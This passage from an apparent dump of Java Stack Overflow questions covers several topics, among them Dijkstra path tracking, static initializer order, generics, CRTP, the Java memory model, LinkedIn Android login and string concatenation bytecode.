fileName ) { try { return cfg.getTemplate ( fileName ) ; } catch ( IOException e ) { logger.severe ( e.getMessage ( ) ) ; e.getStackTrace ( ) ; throw new RuntimeException ( `` Error in loading ftl template : `` +e.getMessage ( ) ) ; } } } l",ServletContext on Google App Engine where is the `` context '' in the classpath ? +Java,"I using this exact code for this . I modified it a little . So far I added a start and end node index to the calculateShortestDistances ( ) method . Also the path ArrayList for collecting the path node indexes . Also : new to Java ... How do I collect the indexes of nodes in the path ArrayList ? I just ca n't come up with the solution on a level that I am not even positive this code could do what I want . I only have intuition on my side and little time.What I tried : Adding the nextNode value to the list then removing it if it was nota shorter distance.Adding the neighbourIndex to the list then removing it if it was not a shorter distance.I made a Path.java with ArrayList but that was went nowhere ( it was a class with a public variable named path ) but it went nowhere.Main.java : Graph.java : This is the Graph.java file . Here I added a sAt and eAt variable , so I can tell it what path I am after . Also I created a public path ArrayList , where I intend to collect the path.Addittionally here are the Edge.java and the Node.java classes . Node.java : Edge.javaI know it looks like a homework . Trust me it is n't . On the other hand I have not much time to finish it , that is why I do it at Sunday . Also I am aware how Dijkstra algorithm works , I understand the concept , I can do it on paper . But collecting the path is beyond me .","public class Main { public static void main ( String [ ] args ) { Edge [ ] edges = { new Edge ( 0 , 2 , 1 ) , new Edge ( 0 , 3 , 4 ) , new Edge ( 0 , 4 , 2 ) , new Edge ( 0 , 1 , 3 ) , new Edge ( 1 , 3 , 2 ) , new Edge ( 1 , 4 , 3 ) , new Edge ( 1 , 5 , 1 ) , new Edge ( 2 , 4 , 1 ) , new Edge ( 3 , 5 , 4 ) , new Edge ( 4 , 5 , 2 ) , new Edge ( 4 , 6 , 7 ) , new Edge ( 4 , 7 , 2 ) , new Edge ( 5 , 6 , 4 ) , new Edge ( 6 , 7 , 5 ) } ; Graph g = new Graph ( edges ) ; g.calculateShortestDistances ( 4,6 ) ; g.printResult ( ) ; // let 's try it ! System.out.println ( g.path ) ; } } import java.util.ArrayList ; // now we must create graph object and implement dijkstra algorithmpublic class Graph { private Node [ ] nodes ; private int noOfNodes ; private Edge [ ] edges ; private int noOfEdges ; private int sAt ; private int eAt ; public ArrayList < Integer > path = new ArrayList < > ( ) ; public Graph ( Edge [ ] edges ) { this.edges = edges ; // create all nodes ready to be updated with the edges this.noOfNodes = calculateNoOfNodes ( edges ) ; this.nodes = new Node [ this.noOfNodes ] ; for ( int n = 0 ; n < this.noOfNodes ; n++ ) { this.nodes [ n ] = new Node ( ) ; } // add all the edges to the nodes , each edge added to two nodes ( to and from ) this.noOfEdges = edges.length ; for ( int edgeToAdd = 0 ; edgeToAdd < this.noOfEdges ; edgeToAdd++ ) { this.nodes [ edges [ edgeToAdd ] .getFromNodeIndex ( ) ] .getEdges ( ) .add ( edges [ edgeToAdd ] ) ; this.nodes [ edges [ edgeToAdd ] .getToNodeIndex ( ) ] .getEdges ( ) .add ( edges [ edgeToAdd ] ) ; } } private int calculateNoOfNodes ( Edge [ ] edges ) { int noOfNodes = 0 ; for ( Edge e : edges ) { if ( e.getToNodeIndex ( ) > noOfNodes ) noOfNodes = e.getToNodeIndex ( ) ; if ( e.getFromNodeIndex ( ) > noOfNodes ) noOfNodes = e.getFromNodeIndex ( ) ; } noOfNodes++ ; return noOfNodes ; } public void calculateShortestDistances ( int startAt , int endAt ) { // node 0 as source this.sAt = startAt ; this.eAt = endAt ; this.nodes [ startAt ] .setDistanceFromSource ( 0 ) ; int nextNode = startAt ; // visit every node for ( int i = 0 ; i < this.nodes.length ; i++ ) { // loop around the edges of current node ArrayList < Edge > currentNodeEdges = this.nodes [ nextNode ] .getEdges ( ) ; for ( int joinedEdge = 0 ; joinedEdge < currentNodeEdges.size ( ) ; joinedEdge++ ) { int neighbourIndex = currentNodeEdges.get ( joinedEdge ) .getNeighbourIndex ( nextNode ) ; // only if not visited if ( ! this.nodes [ neighbourIndex ] .isVisited ( ) ) { int tentative = this.nodes [ nextNode ] .getDistanceFromSource ( ) + currentNodeEdges.get ( joinedEdge ) .getLength ( ) ; if ( tentative < nodes [ neighbourIndex ] .getDistanceFromSource ( ) ) { nodes [ neighbourIndex ] .setDistanceFromSource ( tentative ) ; } } } // all neighbours checked so node visited nodes [ nextNode ] .setVisited ( true ) ; // next node must be with shortest distance nextNode = getNodeShortestDistanced ( ) ; } } // now we 're going to implement this method in next part ! private int getNodeShortestDistanced ( ) { int storedNodeIndex = 0 ; int storedDist = Integer.MAX_VALUE ; for ( int i = 0 ; i < this.nodes.length ; i++ ) { int currentDist = this.nodes [ i ] .getDistanceFromSource ( ) ; if ( ! this.nodes [ i ] .isVisited ( ) & & currentDist < storedDist ) { storedDist = currentDist ; storedNodeIndex = i ; } } return storedNodeIndex ; } // display result public void printResult ( ) { String output = `` Number of nodes = `` + this.noOfNodes ; output += `` \nNumber of edges = `` + this.noOfEdges ; output += `` \nDistance from `` +sAt+ '' to `` +eAt+ '' : '' + nodes [ eAt ] .getDistanceFromSource ( ) ; System.out.println ( output ) ; } public Node [ ] getNodes ( ) { return nodes ; } public int getNoOfNodes ( ) { return noOfNodes ; } public Edge [ ] getEdges ( ) { return edges ; } public int getNoOfEdges ( ) { return noOfEdges ; } } import java.util.ArrayList ; public class Node { private int distanceFromSource = Integer.MAX_VALUE ; private boolean visited ; private ArrayList < Edge > edges = new ArrayList < Edge > ( ) ; // now we must create edges public int getDistanceFromSource ( ) { return distanceFromSource ; } public void setDistanceFromSource ( int distanceFromSource ) { this.distanceFromSource = distanceFromSource ; } public boolean isVisited ( ) { return visited ; } public void setVisited ( boolean visited ) { this.visited = visited ; } public ArrayList < Edge > getEdges ( ) { return edges ; } public void setEdges ( ArrayList < Edge > edges ) { this.edges = edges ; } } public class Edge { private int fromNodeIndex ; private int toNodeIndex ; private int length ; public Edge ( int fromNodeIndex , int toNodeIndex , int length ) { this.fromNodeIndex = fromNodeIndex ; this.toNodeIndex = toNodeIndex ; this.length = length ; } public int getFromNodeIndex ( ) { return fromNodeIndex ; } public int getToNodeIndex ( ) { return toNodeIndex ; } public int getLength ( ) { return length ; } // determines the neighbouring node of a supplied node , based on the two nodes connected by this edge public int getNeighbourIndex ( int nodeIndex ) { if ( this.fromNodeIndex == nodeIndex ) { return this.toNodeIndex ; } else { return this.fromNodeIndex ; } } }",Shortest Path with Dijkstra +Java,"I only have about half a year of java experience , so please excuse my lack of knowledge . I tried doing some google searches , and I have some ideas on this , there are just a few holes that I need to fill in.I am trying to create a 'Dynamic Factory ' for a program I am doing . The basis of this is that I want people to be able to insert class files into a folder , and they will be loaded into my factory to create new instances of them later.This is what I have right now : Now what I am trying to figure out is how to get all the classes inside of a folder , make sure that they extend Kit , and then insert them into the Map to have instances of them created later . This is where I am stuck , I can not think of a good way to have the classes loaded into the map without having the class names and lookup strings identified somewhere in a config . The idea that I had was to have static code inside each class that would insert itself into the HashMap , but I am not exactly sure how that would work . All I am really asking for is an idea on how to go about accomplishing my goal . ( Having a folder that users can input classes into ( that extend Kit ) , and then have those classes dynamically load into my kitMap when my program is loaded )","import java.util.HashMap ; import java.util.Map ; public class KitManager { private Map < String , Class < ? extends Kit > > kitMap ; public KitManager ( ) { kitMap = new HashMap < String , Class < ? extends Kit > > ( ) ; } public Kit makeKit ( String kitname ) { try { return kitMap.get ( kitname ) .newInstance ( ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; return null ; } } }",Java Dynamic Factory +Java,"I found a lot of posts on static initialization blocks , however I 'm trying to get a little better picture about the execution order and the reason for it . The code below prints out the text in both the static blocks and `` then '' prints out the text in the main static block . I understand the way the compiler calls this is to do all the static blocks in order when the class is loaded and then access the main method . But since the main method itself is static , why not execute that in order of the other static blocks ( Not even sure if its useful , just trying to understand a concept and if there 's a pressing reason for it being done this way ) . What if there 's static block we want to run after the main block ? Actual OutputWhy not ?",class Cat { static { System.out.println ( `` This block welcomes you first '' ) ; } public static void main ( String [ ] args ) { System.out.println ( `` Meow world `` ) ; } static { System.out.println ( `` This block welcomes you after '' ) ; } } This block welcomes you firstThis block welcomes you afterMeow world This block welcomes you firstMeow world This block welcomes you after,Order of static initialization blocks +Java,"I 'm trying to implement a basic class to create , read , update and delete objects . I 'm sure I could find a library to do that but I 'm doing it myself for educational purposes . So I made it that everything that get saved are entities and they has an Identifier of a specific type : Entities are serializable and their identifier as well . Then , I have my EntityPersistor which is supposed to save entity from their content ( using serialization ) and name them from their key . My only implementation of this persistor for now is saving them on the disk . It is using the identifier as the name of the file to save it into.Here 's my entity persistor : So , the problem is I have to redefine the type for the key twice when I want to use it . I would like to write : but it yields a compiler error . So I have to use it that way : which is unconvenient.Is there a workaround or a better way to do that ? I feel like it will make my declaration less readable but the usage is more important.EDIT : I forgot to mention that class Product implements Entity < String >","interface Entity < T extends Serializable > extends Serializable { T getIdentifier ( ) ; } interface EntityPersistor < K extends Serializable , T extends Entity < K > > extends Iterable < T > { void save ( T entity ) ; void delete ( T entity ) ; void deleteById ( K id ) ; T getById ( K id ) ; boolean contains ( K id ) ; List < T > loadAll ( ) ; } interface EntityPersistor < T extends Entity < K extends Serializable > > extends Iterable < T > EntityPersistor < String , Product > persistor = new FileEntityPersistor < > ( ) ;",Java duplicate generic definition +Java,"The CRTP pattern allows to emulate the so called self types in Java , e. g. : With the above code ( the Comparable interface has been chosen just for clarity ; of course there 're other use cases ) , I can easily compare two instances of C1 : but not AbstractFoo descendants whose concrete types are different : It 's easy to abuse the pattern , however : Also , the type checks are purely compile-time ones , i. e. one can easily mix C1 and C2 instances in a single TreeSet and have them compared with each other.What alternative to CRTP in Java emulates self types without the potential for abuse as shown above ? P . S. I observe the pattern is not widely used in the standard library -- only EnumSet and its descendants implement it .",abstract class AbstractFoo < SELF extends AbstractFoo < SELF > > implements Comparable < SELF > { @ Override public final int compareTo ( final SELF o ) { // ... } } final class C1 extends AbstractFoo < C1 > { // ... } final class C2 extends AbstractFoo < C2 > { // ... } new C1 ( ) .compareTo ( new C1 ( ) ) ; new C1 ( ) .compareTo ( new C2 ( ) ) ; // compilation error final class C3 extends AbstractFoo < C1 > { // ... } // ... new C3 ( ) .compareTo ( new C1 ( ) ) ; // compiles cleanly,Alternatives to CRTP in Java +Java,"Does super has higher priority than outer class ? Consider we have three classes : ClassAClassBAnonymous class in ClassB that extends ClassAClassA.java : ClassB.java : When I call new ClassB ( ) .test ( ) , I get the following output ( which is pretty much expected ) : Question : Is it defined somewhere that inner class takes ( methods and members ) first from the super class and then from the outer class or is it JVM compiler implementation dependent ? I have looked over the JLS ( §15.12.3 ) but could n't find any reference for that , maybe it is pointed out there but I misunderstood some of the terms ?",public class ClassA { protected String var = `` A Var '' ; public void foo ( ) { System.out.println ( `` A foo ( ) '' ) ; } } public class ClassB { private String var = `` B Var '' ; public void test ( ) { new ClassA ( ) { public void test ( ) { foo ( ) ; System.out.println ( var ) ; } } .test ( ) ; } public void foo ( ) { System.out.println ( `` B foo ( ) '' ) ; } } A foo ( ) A Var,Outer vs. Super class +Java,"I am creating an app that has the LinkedIn login . I am following this documentation . But when I click on the login button , the app redirected to the LinkedIn app and asking for login . When successful login it redirected to my app . But nothing happens . Nothing happens on onActivityResult also . Below is my code .Login implemented on fragment//and onActivityResult as follows : Already added hash and package name on LinkedIn developer console . Did I am missing anything ? Please help","LISessionManager.getInstance ( getActivity ( ) ) .init ( getActivity ( ) , buildScope ( ) , new AuthListener ( ) { @ Override public void onAuthSuccess ( ) { getLinkedInProfile ( ) ; Toast.makeText ( getApplicationContext ( ) , `` success '' , Toast.LENGTH_LONG ) .show ( ) ; } @ Override public void onAuthError ( LIAuthError error ) { Toast.makeText ( getApplicationContext ( ) , `` failed `` + error.toString ( ) , Toast.LENGTH_LONG ) .show ( ) ; } } , true ) ; private static Scope buildScope ( ) { return Scope.build ( Scope.R_BASICPROFILE , Scope.R_EMAILADDRESS ) ; } @ Override public void onActivityResult ( int requestCode , int resultCode , Intent data ) { super.onActivityResult ( requestCode , resultCode , data ) ; LISessionManager.getInstance ( getActivity ( ) ) .onActivityResult ( getActivity ( ) , requestCode , resultCode , data ) ; }",LinkedIn Authentication not working on Fragment in android +Java,"Some Guava internal types , like AbstractMultiset , have a pattern like this : The idea is to delay creating the collection views ( elementSet ( ) , entrySet ( ) ) until they 're actually needed . There 's no locking around the process because if two threads call elementSet ( ) at the same time , it 's okay to return two different values . There will be a race to write the elementSet field , but since writes to reference fields are always atomic in Java , it does n't matter who wins the race.However , I worry about what the Java memory model says about inlining here . If createElementSet ( ) and ElementSet 's constructor both get inlined , it seems like we could get something like this : This would allow another thread to observe a non-null , but incompletely initialized value for elementSet . Is there a reason that ca n't happen ? From my reading of JLS 17.5 , it seems like other threads are only guaranteed to see correct values for final fields in elementSet , but since ElementSet ultimately derives from AbstractSet , I do n't think there 's a guarantee that all its fields are final .",private transient Set < E > elementSet ; @ Overridepublic Set < E > elementSet ( ) { Set < E > result = elementSet ; if ( result == null ) { elementSet = result = createElementSet ( ) ; } return result ; } Set < E > createElementSet ( ) { return new ElementSet ( ) ; } @ Overridepublic Set < E > elementSet ( ) { Set < E > result = elementSet ; if ( result == null ) { elementSet = result = ( allocate an ElementSet ) ; ( run ElementSet 's constructor ) ; } return result ; },Is the lockless lazy loading pattern used in Guava really thread-safe ? +Java,"The task I had to make has already been delivered , yet a certain question hangs around in my mind . I defined the following interface : Purpose is to have all pojo 's that are represented as database table entities implement these methods , so the user of the pojo 's knows how to handle instances according to a pattern . I 've taken this approach from Backbone ( Javascript ) . However , there are other methods that I liked to impose as class methods ( static ) on the Pojo class itself . The most obvious methods are things like : I 've found that having these methods defined by default offers great benefit , yet nothing forces a developer to implement them , as static methods ca n't be imposed by default . Also , users of the classes ca n't know for sure that they 'll be able to use the static methods that they would otherwise expect by contract ( in case of an interface ) ; any typo in the method name , omitting any method can cause the smooth app workflow to break . What would be the most elegant solution to catch this pitfall ?","package dao ; import java.sql.SQLException ; /** * Get / save / delete a single instance from the db in RESTful fashion on the object * @ author kimg * * @ param < T > */public interface IDao < T > { public void fetch ( int id ) ; public void save ( ) throws SQLException ; public void delete ( ) throws SQLException ; } List < Person > list = Person.fetchAll ( ) ; List < Person > list = Person.fetchAll ( offset , limit ) ; int i = Person.countAll ( ) ; ...",Java static methods required implementation +Java,"Okay , so I have a project where I 'm working with a Client ( written in Lua ) and a Server ( written in Java ) . I 'm using LuaSocket for the client and DatagramSockets for the server . The problem is when I send one string from the client in Lua , and receive it on the server ( and convert the bytes to a string ) , it does n't recognize the value of the string as equal to what it should be ( I 'm using .equals ( ) for evaluation ) . I 've printed the result and compared it to the string ( everything checked out ) ; I 've even compared the bytes ( using .getBytes ( ) ) , they even checked out . The most annoying part of this is that when I analyze the string with .startsWith ( ) it evaluates true , but nothing else works . I 've looked into the string encoding of both languages , but I 'm relatively new to sockets and this is beyond me.Edit : Upon writing some example code to demonstrate the problem , I solved it . Here is the code : Client : Server : The result : The string I had been examining the bytes from previously was split at several points , and that would explain why I did n't notice this .","local socket = require `` socket '' local udp = socket.udp ( ) udp : settimeout ( 0 ) udp : setpeername ( `` localhost '' , 1234 ) udp : send ( `` foo '' ) public class Main { public static void main ( String args [ ] ) throws Exception { DatagramSocket server = new DatagramSocket ( 1234 ) ; byte [ ] incomingBytes = new byte [ 512 ] ; DatagramPacket incomingPacket = new DatagramPacket ( incomingBytes , incomingBytes.length ) ; server.receive ( incomingPacket ) ; String received = new String ( incomingBytes ) ; System.out.println ( received ) ; System.out.println ( received.equals ( `` foo '' ) ) ; for ( byte b : received.getBytes ( ) ) { System.out.print ( b + `` `` ) ; } System.out.print ( `` \n '' ) ; for ( byte b : `` foo '' .getBytes ( ) ) { System.out.print ( b + `` `` ) ; } System.out.print ( `` \n '' ) ; } } foofalse102 111 111 0 0 0 *I 'm not going to include all but there are 506 more* 102 111 111",Java to Lua socket communication error +Java,"Suppose you have a method like this that computes the maximum of a Collection for some ToIntFunction : With Java 8 , this could be translated intoA disadvantage with the new version is that function.applyAsInt is invoked repeatedly for the same value of T. ( Specifically if the collection has size n , foo1 invokes applyAsInt n times whereas foo2 invokes it 2n - 2 times ) .Disadvantages of the first approach are that the code is less clear and you ca n't modify it to use parallelism.Suppose you wanted to do this using parallel streams and only invoke applyAsInt once per element . Can this be written in a simple way ?","static < T > void foo1 ( Collection < ? extends T > collection , ToIntFunction < ? super T > function ) { if ( collection.isEmpty ( ) ) throw new NoSuchElementException ( ) ; int max = Integer.MIN_VALUE ; T maxT = null ; for ( T t : collection ) { int result = function.applyAsInt ( t ) ; if ( result > = max ) { max = result ; maxT = t ; } } // do something with maxT } static < T > void foo2 ( Collection < ? extends T > collection , ToIntFunction < ? super T > function ) { T maxT = collection.stream ( ) .max ( Comparator.comparingInt ( function ) ) .get ( ) ; // do something with maxT }",How to efficiently compute the maximum value of a collection after applying some function +Java,"I 'm using a ScheduledExecutorService and submitting a task like that : However a certain event might occur after indefinite amount of time , which signals that this task is no longer needed . And so I need to cancel this task , and I am using boolean cancelled = future.cancel ( false ) line . After cancelling , I have to take different actions depending on whether the submitted runnable actually ran or not . And here lets first jump into Oracle Documentation and read what cancelled flag means : https : //docs.oracle.com/javase/7/docs/api/java/util/concurrent/Future.html # cancel ( boolean ) Returns : false if the task could not be cancelled , typically because it has already completed normally ; true otherwiseThat 's all it says about the return value . Seems like the person who wrote this text line was uncertain about false return value here , but I think I can take it.Lets now focus on the case , when it returns true . There are two possibilities here : The task was actually cancelled and runnable never ran.The runnable is in the process of running and thus can not be cancelled . ( unless I do some thread interrupting logic , which I do n't really want to do ) I am okay with both cases occurring , but I want to KNOW which one actually occurred and take actions accordingly . If the runnable is in the process , then I am okay with it finishing it 's job , I want to wait for it 's completion and then do one thing . But if it was cancelled and never going to run at all , I want to do another thing . Can you please recommend an approach to this ? Am I missing something ?","future = scheduledExecutorService.schedule ( myRunnableTask , delay , timeunit )",How to identify if cancelled ScheduledFuture is actually not cancelled ? +Java,I 'm trying to display navigation drawer in my toolbar . As I think I have already written everything which it needs but nothing is displayed in toolbar . Only text Zoo . Not icon for display navbar I 'm new at android and it wont be surprise for me if I 'm missing something.Here 's my MainActivity.javaHere 's my content_main.xmland of course I have these string names,"package com.example.zoo ; import android.content.res.Configuration ; import android.os.Bundle ; import android.support.design.widget.FloatingActionButton ; import android.support.design.widget.Snackbar ; import android.support.v4.widget.DrawerLayout ; import android.support.v7.app.ActionBarDrawerToggle ; import android.support.v7.app.AppCompatActivity ; import android.support.v7.widget.Toolbar ; import android.view.View ; import android.view.Menu ; import android.view.MenuItem ; public class MainActivity extends AppCompatActivity { private DrawerLayout mDrawerLayout ; private ActionBarDrawerToggle mActionBarDrawerToggle ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; Toolbar toolbar = ( Toolbar ) findViewById ( R.id.toolbar ) ; setSupportActionBar ( toolbar ) ; getSupportActionBar ( ) .setDisplayShowHomeEnabled ( true ) ; getSupportActionBar ( ) .setHomeButtonEnabled ( true ) ; mDrawerLayout = ( DrawerLayout ) findViewById ( R.id.drawer_Layout ) ; mActionBarDrawerToggle = new ActionBarDrawerToggle ( this , mDrawerLayout , R.string.drawer_opened , R.string.drawer_closed ) { @ Override public void onDrawerOpened ( View drawerView ) { super.onDrawerOpened ( drawerView ) ; if ( getSupportActionBar ( ) ! = null ) { getSupportActionBar ( ) .setTitle ( R.string.drawer_opened ) ; } } @ Override public void onDrawerClosed ( View drawerView ) { super.onDrawerClosed ( drawerView ) ; if ( getSupportActionBar ( ) ! = null ) { getSupportActionBar ( ) .setTitle ( R.string.drawer_closed ) ; } } } ; mDrawerLayout.setDrawerListener ( mActionBarDrawerToggle ) ; } @ Override protected void onPostCreate ( Bundle savedInstanceState ) { super.onPostCreate ( savedInstanceState ) ; mActionBarDrawerToggle.syncState ( ) ; } @ Override public void onConfigurationChanged ( Configuration newConfig ) { super.onConfigurationChanged ( newConfig ) ; mActionBarDrawerToggle.onConfigurationChanged ( newConfig ) ; } @ Override public boolean onCreateOptionsMenu ( Menu menu ) { // Inflate the menu ; this adds items to the action bar if it is present . getMenuInflater ( ) .inflate ( R.menu.menu_main , menu ) ; return true ; } @ Override public boolean onOptionsItemSelected ( MenuItem item ) { // Handle action bar item clicks here . The action bar will // automatically handle clicks on the Home/Up button , so long // as you specify a parent activity in AndroidManifest.xml . if ( mActionBarDrawerToggle.onOptionsItemSelected ( item ) ) return true ; int id = item.getItemId ( ) ; //noinspection SimplifiableIfStatement if ( id == R.id.action_settings ) { return true ; } return super.onOptionsItemSelected ( item ) ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < LinearLayoutxmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' tools : context= '' com.example.gsiradze.zoo.MainActivity '' android : orientation= '' vertical '' > < android.support.v7.widget.Toolbar android : id= '' @ +id/toolbar '' android : layout_height= '' wrap_content '' android : layout_width= '' match_parent '' android : background= '' ? attr/colorPrimary '' android : minHeight= '' ? android : attr/actionBarSize '' / > < android.support.v4.widget.DrawerLayout android : id= '' @ +id/drawer_Layout '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' > < TextView android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : text= '' @ string/hello_world '' / > < ListView android : id= '' @ +id/drawer '' android : layout_width= '' 240dp '' android : layout_height= '' match_parent '' android : layout_gravity= '' start '' android : background= '' @ android : color/white '' / > < /android.support.v4.widget.DrawerLayout > < /LinearLayout > < resources > < string name= '' drawer_opened '' > Select an item < /string > < string name= '' drawer_closed '' > Zoo < /string > < /resources >",DrawerLayout navigation drawer not displayed +Java,"I am fairly new to Clojure and functional programming in general and I 've been struggling with the following problem . I 'd like to assign a unique and stable index to a series of tokens ( strings ) . Since there will be a lot more lookups than insertions , a hash-map seemed to be the way to go . In Java I would 've written something along the lines of The transliterated version in Clojure would be something likeBut this does n't seem to be very idomatic since it basically side-effects and doesn´t even hide it . So how would you do this without having the two atoms for keeping state ?","int last = 0 ; HashMap < String , Integer > lut = new HashMap < String , Integer > ( ) ; function Integer getIndex ( String token ) { Integer index = lut.get ( token ) ; if ( index == null ) last++ ; lut.put ( token , last ) ; return last ; else { return index ; } } ( def last-index ( atom 0 ) ) ( def lookup-table ( atom { } ) ) ( defn get-index [ token ] ( if ( nil ? ( get @ lookup-table token ) ) ( do ( swap ! last-index inc ) ( swap ! lookup-table assoc token @ last-index ) @ last-index ) ( get @ lookup-table token ) ) )",Idiomatic way of keeping a stateful lookup table with indexes in Clojure +Java,"Causality in JMM seems to be the most confusing part of it . I have a few questions regarding JMM causality , and allowed behaviors in concurrent programs.As I understand , the current JMM always prohibits causality loops . ( Am I right ? ) Now , as per the JSR-133 document , page 24 , Fig.16 , we have an example where : Initially x = y = 0Thread 1 : Thread 2 : Intuitively , r1 = r2 = r3 = 42 seems impossible . However , it is not only mentioned as possible , but also 'allowed ' in JMM.For the possibility , the explanation from the document which I fail to understand is : A compiler could determine that the only values ever assigned to x are 0 and 42 . From that , the compiler could deduce that , at the point where we execute r1 = x , either we had just performed a write of 42 to x , or we had just read x and seen the value 42 . In either case , it would be legal for a read of x to see the value 42 . It could then change r1 = x to r1 = 42 ; this would allow y = r1 to be transformed to y = 42 and performed earlier , resulting in the behavior in question . In this case , the write to y is committed first.My question is , what kind of compiler optimization is it really ? ( I am compiler-ignorant . ) Since 42 is written only conditionally , when the if statement is satisfied , how can the compiler decide to go with the writing of x ? Secondly , even if compiler does this speculative optimization , and commits y = 42 andthen finally makes r3 = 42 , is n't it a violation of causality loop , since there is no cause and effect distinction left now ? In fact there is one example in the same document ( page 15 , Figure 7 ) where a similar causal loop is mentioned as unacceptable . So how come this execution order is legal in JMM ?",r3 = x ; if ( r3 == 0 ) x = 42 ; r1 = x ; y = r1 ; r2 = y ; x = r2 ;,Why is this behavior allowed in the Java Memory Model ? +Java,I have following hierarchy in java for my interfaceWhen I try to implement Adapter in scala as followsI am getting following error,public interface Identifiable < T extends Comparable < T > > extends Serializable { public T getId ( ) ; } public interface Function extends Identifiable { public String getId ( ) ; } public abstract class Adapter implements Function { public abstract String getId ( ) ; } class MultiGetFunction extends Adapter { def getId ( ) : String = this.getClass.getName } Multiple markers at this line - overriding method getId in trait Identifiable of type ( ) T ; method getId has incompatible type - overrides Adapter.getId - implements Function.getId - implements Identifiable.getId,Implementing Multilevel Java Interfaces in Scala +Java,"when I read the source code of java version 1.7.0_09 , I found that the realization of toString method of Integer class uses negative int to calculate the mod operation , is there any sense to that ? code is as follows :","public static String toString ( int i , int radix ) { if ( radix < Character.MIN_RADIX || radix > Character.MAX_RADIX ) radix = 10 ; /* Use the faster version */ if ( radix == 10 ) { return toString ( i ) ; } char buf [ ] = new char [ 33 ] ; boolean negative = ( i < 0 ) ; int charPos = 32 ; if ( ! negative ) { i = -i ; //***** change i to negative } while ( i < = -radix ) { buf [ charPos -- ] = digits [ - ( i % radix ) ] ; //***** change back to positive after //***** mod operation i = i / radix ; } buf [ charPos ] = digits [ -i ] ; if ( negative ) { buf [ -- charPos ] = '- ' ; } return new String ( buf , charPos , ( 33 - charPos ) ) ; }",why using negative int for mod operation in toString method of Integer class in java src +Java,"I 've been studying Kotlin and Java with lambdas . I 'm trying the use the most of functional programming that I can , even though I do n't know much of functional programming.I 'm using HackerRank 's problems to study ( and Koans to study Kotlin as well ) . I 'm currently solving the problems using both Kotlin and Java 8.I 'm trying to solve the MiniMax-Sum problem . Basically , the description is something like this : Given five positive integers , find the minimum and maximum values that can be calculated by summing exactly four of the five integers . Then print the respective minimum and maximum values as a single line of two space-separated long integers.I 'm trying to use the most of the streams API that I can when in Java . The simple question is : how can I reduce , after sorting , the int array to its four first elements ( and last , in a different scenario ) and sum its values ? I was trying to use IntStream , but it seems that it 's very difficult without using List . I was wondering if it possible to use directly the int [ ] array with IntStream to sort and reduce the elements and them sum it.Using Kotlin I solved like this : I 'm trying to use the range method , together with sorted and sum . It works . The problem is that the sum always returns an int , and sometimes the sum is a long value . Here 's my code : Result is 10 ( min ) and 15 ( max ) for the input new long [ ] { 256741038 , 623958417 , 467905213 , 714532089 , 938071625 } Thanks a lot to everyone that took the time to help ! Guess I did not see the LongStream.of method : D I solved using 2 different ways ( pointed by @ Aomine , @ nullpointer and @ Holger ) : Thanks a lot guys !","val minSum : Long = arr.sortedArray ( ) .copyOfRange ( 0 , 4 ) .sum ( ) .toLong ( ) val maxSum : Long = arr.sortedArray ( ) .copyOfRange ( 1 , 5 ) .sum ( ) .toLong ( ) println ( `` $ minSum $ maxSum '' ) long min = IntStream.range ( 0 , arr.length ) .sorted ( ) .sum ( ) ; long max = IntStream.range ( 1 , arr.length + 1 ) .sorted ( ) .sum ( ) ; // using Arrays and StreamArrays.sort ( arr ) ; long min = Arrays.stream ( arr , 0 , 4 ) .sum ( ) ; long max = Arrays.stream ( arr , 1 , 5 ) .sum ( ) ; System.out.println ( min + `` `` + max ) ; // and using LongSummaryStatistics ( thanks @ Holger ) LongSummaryStatistics ls = LongStream.of ( arr ) .summaryStatistics ( ) ; System.out.println ( ( ls.getSum ( ) - ls.getMax ( ) ) + `` `` + ( ls.getSum ( ) - ls.getMin ( ) ) ) ;",How can I use an IntStream to sum specific indexed numbers of an int array ? +Java,"Whereas the Java grammar seems very precisely described in JLS specifications , there are some concrete cases which I fail to apply on given definitions.For example , taking the ClassInstanceCreationExpression rule in chapter 15.9 of JLS8 , non-qualified new expressions should be of the form : Identifier being a standard Java identifier ( basically Java letters / numbers , no dot ) .How does this definition would apply to valid expressions like static nested classes instanciation : or package-qualified classes instanciation : given that dots can not be part of an Identifier ? Note that there was a change on this definition from JLS7 to JLS8 , where JLS7 was stating , for non-qualified new expressions : TypeDeclSpecifier being defined as : allowing non-qualified new expressions for static nested classes and package-qualified classes .",new [ TypeArguments ] { Annotation } Identifier [ TypeArgumentsOrDiamond ] ( [ ArgumentList ] ) [ ClassBody ] new C1.C2 ( ) ; new java.lang.String ( `` foo '' ) ; new [ TypeArguments ] TypeDeclSpecifier [ TypeArgumentsOrDiamond ] ( [ ArgumentList ] ) [ ClassBody ] TypeDeclSpecifier : TypeName ClassOrInterfaceType . Identifier,Java grammar definition completeness +Java,"Let 's say we have some code such as the following : ( Yes , I know a far better implementation would use a StringBuilder , but bear with me . ) Trivially , we might expect the bytecode produced to be something akin to the following : However , instead the compiler tries to be a bit smarter - rather than using the concat method , it has a baked in optimisation to use StringBuilder objects instead , so we get the following : However , this seems rather counter-productive to me - instead of using one string builder for the entire loop , one is created for each single concatenation operation , making it equivalent to the following : So now instead of the original trivial bad approach of just creating lots of string objects and throwing them away , the compiler has produced an far worse approach of creating lots of String objects , lots of StringBuilder objects , calling more methods , and still throwing them all away to generate the same output as without this optimisation.So the question has to be - why ? I understand that in cases like this : ... the compiler will create just one StringBuilder object for all three strings , so there are cases where the optimisation is useful . However , examing the bytecode reveals that even separating the above case to the following : ... means that we 're back with the case that three StringBuilder objects are individually created . I 'd understand if these were odd corner cases , but appending to strings in this way ( and in a loop ) are really rather common operations.Surely it would be trivial to determine , at compile time , if a compiler-generated StringBuilder only ever appended one value - and if this was the case , use a simple concat operation instead ? This is all with 8u5 ( however , it goes back to at least Java 5 , probably before . ) FWIW , my benchmarks ( unsurprisingly ) put the manual concat ( ) approach 2x3 times faster than using += in a loop with 10,000 elements . Of course , using a manual StringBuilder is always the preferable approach , but surely the compiler should n't adversely affect the performance of the += approach either ?","public static void main ( String [ ] args ) { String s = `` '' ; for ( int i=0 ; i < 10000 ; i++ ) { s += `` really `` ; } s += `` long string . `` ; } public static void main ( java.lang.String [ ] ) ; Code : 0 : ldc # 2 // String 2 : 